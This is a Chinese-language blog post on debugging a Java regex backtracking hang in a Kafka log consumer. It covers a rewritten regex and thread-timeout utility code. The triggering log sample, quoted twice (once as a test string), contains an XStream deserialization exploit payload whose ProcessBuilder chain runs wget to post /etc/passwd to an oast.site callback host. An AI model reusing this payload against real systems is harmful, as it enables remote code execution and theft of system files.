Java处理正则匹配卡死（正则回溯问题）

背景
- 项目现场问题
- 问题跟踪
优化方案
最优选择方案
参考文章

正则匹配卡死怎么来的？

背景

背景：这次问题的背景是项目上遇到了，在使用正则对数据进行提取时，发现提取不到，日志解析不成功，造成kafka消息有积压

项目现场问题

项目中某一个微服务再处理正则时，发现在处理部分日志时候，线程会卡死，线程卡死，因此kafka中的消息定会积压，后面的日志即不会处理。关键代码截图如下：

问题跟踪

相关正则如下：

.*<.*>[a-zA-Z]{3,}\s*.*?\s.*?\s(.*?)\s.*?\{(.*)}.*\n*

从问题表象来看，发现处理正则匹配这一步，线程卡死，即一直等待挂起。一开始考虑正则有问题，但是发现，这个正则可以正常处理日志，只是当遇到部分日志时候，会出现卡死现象，于是，觉得问题应该出现在日志上。出现问题的日志原文如下（已屏蔽了相关敏感信息，但足够复现问题）：

<190>Jul 27 16:14:02 openresty nginx: {"app_no": "", "client_ip": "1.1.1.1", "referer": "", "request": "POST /rest-showcase/orders/3 HTTP/1.0", "status": 500, "bytes":576, "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1 Safari/537.36", "request_time": "0.001", "date": "2022-07-27T16:14:02+08:00", "request_body": "<map>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString>\r\n      <flags>0</flags>\r\n      <value class=\"com.sun.xml.internal.bindruntime.unmarshaller.Base64Data\">\r\n        <dataHandler>\r\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\r\n            <is class=\"javax.crypto.CipherInputStream\">\r\n              <cipher class=\"javax.crypto.NullCipher\">\r\n                <initialized>false</initialized>\r\n                <opmode>0</opmode>\r\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\r\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\r\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\r\n                    <next class=\"java.lang.ProcessBuilder\">\r\n                      <command>\r\n                        <string>wget</string>\r\n                        <string>--post-file</string>\r\n                        <string>/etc/passwd</string>\r\n              <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\r\n                      </command>\r\n                      <redirectErrorStream>false</redirectErrorStream>\r\n                    </next>\r\n                  </iter>\r\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\r\n                    <method>\r\n                      <class>java.lang.ProcessBuilder</class>\r\n                      <name>start</name>\r\n                      <parameter-types/>\r\n                    </method>\r\n                    <name>asdasd</name>\r\n                  </filter>\r\n                  <next class=\"string\">asdasd</next>\r\n                </serviceIterator>\r\n                <lock/>\r\n              </cipher>\r\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\r\n              <ibuffer></ibuffer>\r\n              <done>false</done>\r\n              <ostart>0</ostart>\r\n              <ofinish>0</ofinish>\r\n              <closed>false</closed>\r\n            </is>\r\n            <consumed>false</consumed>\r\n          </dataSource>\r\n          <transferFlavors/>\r\n        </dataHandler>\r\n        <dataLen>0</dataLen>\r\n      </value>\r\n    </jdk.nashorn.internal.objects.NativeString>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n  <entry>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n  </entry>\r\n</map>\r\n"}

怀疑是日志中有特殊字符造成，通过分析日志，发现日志并没有问题。再度分析问题后，发现，这一步正则匹配卡死，会影响Kafka消息处理，于是提出优化方案，不能因为这些日志数据，进而影响系统处理日志数据。

由于这里的线程是卡死状态，一开始并不理解，通过隐喻假设这里线程大概出现了两种问题：

线程死循环
线程资源被锁，一直挂起等待

通过隐喻问题，然后在寻找解决方案，这里提出了两种优化方案：

启动监控线程，这里在处理正则时，如果匹配成功则会返回处理成功的标志，而监控线程会一直监控标志，如果在长时间等待后，发现标志始终是处理不成功，那么将直接使用stop停止正则处理线程。然后监控线程结束。这样下一条日志消息就会继续消费。
- 优点：每次消息处理正则时，都会进行监控，甚至，这里还能使用监控线程，将标志位进行扩展，检测主线程处理日志，每一步的耗时，从而对程序做出更进一步的优化。
- 缺点：每处理一条日志，就意味着除了消费主线程外，都要伴随着一个监控线程对其进行监控，如果使用线程池，则需要考虑线程上下文的问题，需要考虑其性能。其次，再关闭主线程时，使用了stop方法，这在JDK中已经不推荐使用。（为什么要使用stop?，因为主线程被卡死，已经没有办法使用isInterrupted来判断主线程是否业务中断。），在demo的编写测试时，关闭主线程使用了ThreadGroup特性，这里并没有测试Kafka的消费线程创建源码是否有使用ThreadGroup特性，如果有，那么这里监控线程则不能使用Thread.enumerate(ret)方法。
  
  这里也可以参考一下JDK的源码注释：
使用子线程处理正则匹配，在主线程中使用FutureTask获取子线程处理结果，一旦超时，那么使用interrupt将子线程设置中断，子线程遍历匹配方法也将根据isInterrupted()判断是否中断而中断，这里我已经封装好了工具类供大家使用，有兴趣可以参看具体代码实现。
- 优点：正则处理使用了子线程，主线程获取等待匹配结果，如果超时则日志记录正则和日志数据，并返回null，后续处理程序会抛出异常，然后线程结束，然后会继续消费Kafka消息。
- 缺点：每处理一条日志，除了主线程，就需要单独开启一个正则处理线程，这里需要考虑性能。

在处理完上述问题后，考虑后续服务的处理日志可以使用线程池的方式，来提升日志处理的性能。但是一旦使用线程池，若遇到上述问题。这里我们分析：

如果使用了线程池，假设遇到正则卡死问题，那么线程池中的线程会被耗尽，并且线程池中所有的线程都会在处理正则这一步卡死，Kafka中的消息会进入线程池的任务队列，由于线程池的特性，如果没有详细配置，那么最终就会出现日志消息创建任务丢弃的异常。

现在，我们解决掉了正则卡死的问题，那么，这里就可以使用线程池来处理消息，如果正则卡死，那么子线程会中断，同时主线程抛异常，不会影响会有消息的处理。

至此,问题虽然得到了解决，但是产生问题的原因却没有一个较好的结论，本着编程应该知其然更知其所以然的想法，继续对问题追根刨底

在查阅资料解决问题时，发现一篇文章，2007年阿里也曾出现了类似问题，阿里Lazada卖家中心做一个自助注册的项目，上线后，发现CPU有时会飙到100%的情况。有兴趣的可以参看原文本文末节的参考文章。

阅读完这篇博客后，简直是醍醐灌顶，这不正是我们项目所遇到的问题，于是乎，开始深剖析正则处理和正则回溯问题。最后发现将正则修改为如下：，就可以正常匹配这种日志。

<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})

到这里，才发现项目问题的根本是正则问题，并非日志数据问题。简单描述就是：正则处理，JAVA在处理正则时候，使用的正则引擎是NFA(不确定型有穷自动机),这种引擎会在贪婪模式下发生正则回溯问题，一旦字符串的数量过于庞大，那么遇见正则回溯后，正则匹配的计算将是指数级别的，这对CPU来说是灾难级的。所以项目中，正则匹配一行代码会卡死，其实并不是死循环，也不是线程挂起，而是线程一直在计算。

怎么优化？

优化方案

即然发现了问题所在，那么最优的方案就是当即处理项目中有问题的正则。同时在项目中使用正则的地方，如果数据是不确定的外部数据，那么都建议使用正则工具类来进行匹配获取，虽然会开辟子线程，但是避免了线程卡死，CPU飙升的问题。同时监控线程做保留方案，在日后的使用中，如果需要用到，可以用来做性能分析。

处理正则问题

再对有问题的正则使用regex debug进行分析后,发现正则确实存在回溯问题

重新对日志原文分析，使用以下正则即可匹配成功：

<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})

使用子线程来匹配正则实现

这里封装了正则处理工具类，具体实现代码参考

RegexUtil.java

import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.*;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

/**

 * 处理正则回溯引起超时问题

 *

 * @author cg

 */

@Slf4j

public class RegexUtil {

    /**

     * 使用单独的线程来进行正则处理，避免出现超时卡死的情况

     * @return 返回正则匹配结果, 当匹配失败或匹配超时，返回null

     */

    public static Matcher match(String text, String regx, long timeout, TimeUnit unit) {

        Callable<Matcher> regexMatchCallable = () -> {

            Pattern compile = Pattern.compile(regx);

            Matcher matcher = compile.matcher(new InterruptCharSequence(text));

            if (matcher.matches()) {

                return matcher;

            }else {

                log.info("正则匹配失败，日志原文为 {}",  text);

                return null;

            }

        };

        FutureTask<Matcher> futureTask = new FutureTask<>(regexMatchCallable);

        Thread regexMatchThread = new Thread(futureTask);

        regexMatchThread.start();

        Matcher matcher = null;

        try {

            matcher =  futureTask.get(timeout, unit);

        } catch (TimeoutException e) {

            log.warn("正则处理超时，日志 {}",  text);

            regexMatchThread.interrupt();

        } catch (ExecutionException | InterruptedException e) {

            log.error("获取线程执行结果异常", e);

            regexMatchThread.interrupt();

        }

        return matcher;

    }

}

InterruptCharSequence.java

import lombok.extern.slf4j.Slf4j;

/**

 * @author cg

 */

@Slf4j

public class InterruptCharSequence implements CharSequence {

        CharSequence inner;

        public InterruptCharSequence(CharSequence inner) {

            super();

            this.inner = inner;

        }

        @Override

        public char charAt(int index) {

            if (Thread.currentThread().isInterrupted()) {

                log.info("InterruptCharSequence is Interrupted, Please check Trigger Thread!");

                log.info("regex error log is :{}", this);

                throw new RuntimeException("Interrupted!");

            }

            return inner.charAt(index);

        }

        @Override

        public int length() {

            return inner.length();

        }

        @Override

        public CharSequence subSequence(int start,int end) {

            return new InterruptCharSequence(inner.subSequence(start, end));

        }

        @Override

        public String toString() {

            return inner.toString();

        }

}

监控线程实现

这里代码封装了简单的demo,具体代码实现参考：

import java.util.concurrent.atomic.AtomicBoolean;

public class TestMonitor extends Thread {

    private String name;

    private AtomicBoolean atomicBoolean;

    public TestMonitor(String name, AtomicBoolean isBlockThreadRegx) {

        this.name = name;

        this.atomicBoolean = isBlockThreadRegx;

    }

    @Override

    public void run() {

        //启动监控线程

        //超时时间4s

        try {

            Thread.sleep(10000);

        } catch (InterruptedException e) {

            e.printStackTrace();

        }

        //根据线程名称结束线程

        int i = Thread.activeCount();

        Thread ret[] = new Thread[i];

        Thread.enumerate(ret);

        for (Thread thread : ret) {

            if (thread.getName().equalsIgnoreCase(name) && atomicBoolean.get()) {

                thread.stop();

            }

        }

    }

}

import com.alibaba.fastjson.JSONObject;

import org.apache.commons.lang3.ArrayUtils;

import java.util.Arrays;

import java.util.Objects;

import java.util.concurrent.atomic.AtomicBoolean;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class TestPattern {

    public static void main(String[] args) throws Exception {

        String name = Thread.currentThread().getName();

        //是否是阻塞线程正则

        AtomicBoolean isBlockThreadRegx = new AtomicBoolean(true);

        //启动监控线程

        TestMonitor testMonitor = new TestMonitor(name, isBlockThreadRegx);

        testMonitor.start();

        System.out.println("开始执行MainThread");

        final boolean matcher = getMatcher();

        isBlockThreadRegx.set(false);

        System.out.println(matcher);

        System.out.println("MainThread执行结束");

    }

    private static boolean getMatcher() {

        String pattern = ".*<.*>[a-zA-Z]{3,}\\s*.*?\\s.*?\\s(.*?)\\s.*?\\{(.*)}.*\\n*";

	    String text = "<190>Jul 27 16:14:02 openresty nginx: {\"app_no\": \"\", \"client_ip\": \"1.1.1.1\", \"referer\": \"\", \"request\": \"POST /struts2-rest-showcase/orders/3 HTTP/1.0\", \"status\": 500, \"bytes\":576, \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1.1 Safari/537.36\", \"request_time\": \"0.001\", \"date\": \"2022-07-27T16:14:02+08:00\", request_body\": \"<map>\\r\\n  <entry>\\r\\n    <jdk.nashorn.internal.objects.NativeString>\\r\\n      <flags>0</flags>\\r\\n      <value class=\\\"com.sun.xml.internal.bind.v2.runtime.Base64Data\\\">\\r\\n        <dataHandler>\\r\\n          <dataSource class=\\\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\\\">\\r\\n            <is class=\\\"javax.crypto.CipherInputStream\\\">\\r\\n              <cipher class=\\\"javax.crypto.NullCipher\\\">\\r\\n                <initialized>false</initialized>\\r\\n                <opmode>0</opmode>\\r\\n                <serviceIterator class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n                  <iter class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n                    <iter class=\\\"java.util.Collections$EmptyIterator\\\"/>\\r\\n                    <next class=\\\"java.lang.ProcessBuilder\\\">\\r\\n                      <command>\\r\\n                        <string>wget</string>\\r\\n                        <string>--post-file</string>\\r\\n                        <string>/etc/passwd</string>\\r\\n              <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\\r\\n                      </command>\\r\\n                      <redirectErrorStream>false</redirectErrorStream>\\r\\n                    </next>\\r\\n                  </iter>\\r\\n                  <filter class=\\\"javax.imageio.ImageIO$ContainsFilter\\\">\\r\\n                    <method>\\r\\n                      <class>java.lang.ProcessBuilder</class>\\r\\n                      <name>start</name>\\r\\n                      <parameter-types/>\\r\\n                    </method>\\r\\n                    <name>asdasd</name>\\r\\n                  </filter>\\r\\n                  <next class=\\\"string\\\">asdasd</next>\\r\\n                </serviceIterator>\\r\\n                <lock/>\\r\\n              </cipher>\\r\\n              <input class=\\\"java.lang.ProcessBuilder$NullInputStream\\\"/>\\r\\n              <ibuffer></ibuffer>\\r\\n              <done>false</done>\\r\\n              <ostart>0</ostart>\\r\\n              <ofinish>0</ofinish>\\r\\n              <closed>false</closed>\\r\\n            </is>\\r\\n            <consumed>false</consumed>\\r\\n          </dataSource>\\r\\n          <transferFlavors/>\\r\\n        </dataHandler>\\r\\n        <dataLen>0</dataLen>\\r\\n      </value>\\r\\n    </jdk.nashorn.internal.objects.NativeString>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n  </entry>\\r\\n  <entry>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n    <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n  </entry>\\r\\n</map>\\r\\n\"}\n";

        final Pattern compile = Pattern.compile(pattern);

        final Matcher matcher = compile.matcher(text);

        return matcher.matches();

    }

}

最优选择方案

即然发现了正则的问题，最好的方式就是从根源上解决问题，编写正则的时候尽量使用非贪婪模式，正则测试推荐去Regex Debug测试，或者使用RegexBuddy测试。但终归而言，这是一种编码约定，考虑到约定破坏的场景，最好在编码中在使用工具类来匹配正则，也可以记录有问题的日志和正则

参考文章

正则回溯

阿里LAZADA技术故障

值得一提的是，在上述两篇文章中，作者对正则回溯的表达都存在歧义，在初次阅读篇章时，对回溯的理解也是产生了各种疑问，最后在单独对正则回溯的解释中理解了正则回溯的意义，但这并不影响上述文章中遇到的问题带给我们的启示，正是有了上述文章的启示，才能更准确的解释我们项目中所遇到的问题。关于正则回溯，建议参考以下文章